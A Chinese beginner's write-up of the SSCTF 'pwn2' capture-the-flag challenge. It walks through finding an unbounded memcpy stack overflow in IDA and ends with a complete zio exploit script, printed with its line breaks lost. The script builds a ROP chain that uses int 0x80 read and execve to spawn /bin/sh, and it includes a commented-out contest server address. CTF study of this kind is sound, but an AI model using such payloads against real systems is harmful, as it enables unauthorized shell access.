ssctf-pwn2从此入坑不在起

来源:互联网 发布:formal mac 编辑:程序博客网 时间:2024/05/22 01:53

说来惭愧,做了这么就才终于将这道简单的栈溢出做出来了。而且还是在师傅的多次帮助下。

找了一天的漏洞。刚开始一直以为第一个scanf上有栈溢出,结果怎么调也调不出来,最后在师傅的指引下找到了溢出点,最终成功shell
。这是一个悲伤的故事。好多的基础的东西都忘光了。连linux_server需要使用root权限运行都忘了。其实找到漏洞之后,后面的事情就变得简单了。但是对于我这种新手来说,在简单的事情也会相当的耗时耗力。

万事开头难,就以此开始CTF-PWN的旅行!我会从头开始做一个介绍,欢迎入坑!
先说说,该有哪些基本工具。Python环境,IDA,checksh.sh(一个检查保护的脚本)。
直接切入正题
ssss
首先检查一下程序都开了哪些保护,STACK CANARY就是栈保护,也就是无法简单的栈溢出覆盖返回值,额~大家查查吧。

http://yunnigu.dropsec.xyz/2016/10/08/checksec%E5%8F%8A%E5%85%B6%E5%8C%85%E5%90%AB%E7%9A%84%E4%BF%9D%E6%8A%A4%E6%9C%BA%E5%88%B6/

可以参考下。
这题呢开了NX也就没法执行shellcode了,可能有栈溢出。其实就是栈溢出哈!@
毫不犹豫的
sudo ./linux_server
socat tcp-l:10000,reuseaddr ,fork system:./pwn2 (socat可以通过sudo apt-get install socat安装)
那么前期的准备就准备好咯。要我解释吗?
还是讲讲吧。额~。linux_server是和IDA配合使用的用于两者之间进行调试,可以在IDA的安装路径下找到,socat 是用来fork一个pwn2的一个子进程到10000端口,我们可以通过nc 127.0.0.1 10000 来试着访问这个程序,看看通没通。
写脚本咯。!~
我和师傅都是使用zio模块来写的,我看有的writeup使用pwn模块写的,大差不差吧。自行选择。建议先有一点python的基础,有啥不会写的就上百度
补充一下IDA的简单用法:F9运行到断点处,F2下断点,F8(step over)按语句块执行,不会进入到函数的具体内部,F7(step into)单步执行,注意两者的区别。Alt+T:查找,ctrl+S:选择段;F9:直接调试;Edit | patch program可以修改程序;Debugger | progress options下进行一些连接的设置。基本上就是这些了。不行就百度。
差不多可以开始调试了。
先看一下IDA。F5反汇编。
这里写图片描述
注意是print,不是printf,进去看看。
这里写图片描述
基本上可以确定,洞在这,进到memcpy看看,好乱,不过看名字就知道是个内存拷贝函数。先调调再说。IDA的话,我就不做介绍了,想多了解的上百度(不会就百度,哈哈!!!)
断点下在memcpy之前,
这里写图片描述
这里写图片描述

可以看到,之前是将我的输入读到了heap中,之后通过memcpy拷贝到stack中,并且没有长度的限制,明显存在overstack,接下来就是覆盖返回地址,构造rop链。由于程序是静态编译,通过构造int 80h中断,使之打开一个shell(int 80 中断号自行搜索)通过alt+T查找。
这里写图片描述
可以看到此时stack已经被我写好了。接下就是任我行。
先通过3号中断,将/bin/sh写到bss段,在执行11(b)号中断,执行。
最后大功告成!!!
这里写图片描述

希望大家能通过这题,对栈溢出有基本的了解,能迅速的入个门。不至于十脸蒙B。

完了!

写在最后。每一次的成功都是经过了大量的失败尝试。

from zio import *import timetarget=('127.0.0.1',10000)#target=('60.191.205.81',2017)io = zio(target, timeout=10000, print_read=COLORED(RAW, 'red'), print_write=COLORED(RAW, 'green'))c2=raw_input('go?')io.read_until('SSCTF[InPut Data Size]')io.writeline('150')io.read_until('SSCTF[YourData]')payload='1'*0x3e     payload+=l32(0x0806EFE0)   #pop edx ecx ebx  payload+=l32(0x18)+l32(0x080EBF80)+l32(0x0)payload+=l32(0x080AD3BA)   #pop eax ebx esi edipayload+=l32(0x3)+l32(0x0)+l32(0x0)+l32(0x0)payload+=l32(0x0806F5C0)   #int 80 readpayload+=l32(0x0806EFE0)   #pop edx ecx ebxpayload+=l32(0x0)+l32(0x080EBF88)+l32(0x080EBF80)  #dread de can shupayload+=l32(0x080AD3BA)   #pop eax ebx esi edipayload+=l32(0xb)+l32(0x080EBF80)+l32(0x0)+l32(0x0)payload+=l32(0x0806F5C0)   #int 80 execio.write(payload)c2=raw_input('write /bin/sh??')io.writeline('/bin/sh\x00'+l32(0x080EBF80)+l32(0x0))io.interact()
原创粉丝点击